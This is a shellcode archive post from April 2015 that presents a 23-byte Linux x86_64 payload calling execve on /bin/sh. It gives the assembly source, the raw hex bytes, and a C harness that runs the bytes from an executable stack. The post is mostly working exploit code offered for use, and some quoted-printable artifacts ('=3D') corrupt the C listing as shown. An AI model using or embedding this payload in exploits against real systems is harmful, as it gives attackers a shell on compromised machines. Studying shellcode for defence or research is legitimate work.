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Linux x86_64 Execve /bin/sh Shellcode Via Push

Linux x86_64 Execve /bin/sh Shellcode Via Push
Posted Apr 29, 2015
Authored by noviceflux

23 bytes small Linux/x86_64 execve /bin/sh shellcode via push.

tags | shellcode
systems | linux
SHA-256 | 75d9498093aed2a9179c7b68cf00235f14b652203486e70afa366f93e31858cb

Linux x86_64 Execve /bin/sh Shellcode Via Push

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/*
#
# Execve /bin/sh Shellcode Via Push (Linux x86_64 23 bytes)
#
# Dying to be the shortest.
#
# Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com)
#
# 27 April 2015
#
# GPL
#


.global _start
_start:
# char *const argv[]
xorl %esi, %esi

# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx

# for '\x00'
pushq %rsi

pushq %rbx

pushq %rsp
# const char *filename
popq %rdi

# __NR_execve 59
pushq $59
popq %rax

# char *const envp[]
xorl %edx, %edx

syscall
*/

/*
gcc -z execstack push64.c

uname -r
3.19.3-3-ARCH
*/

#include <stdio.h>
#include <string.h>

int
main(void)
{
char *shellcode =3D "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56=
\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

printf("strlen(shellcode)=3D%d\n", strlen(shellcode));

((void (*)(void))shellcode)();

return 0;
}

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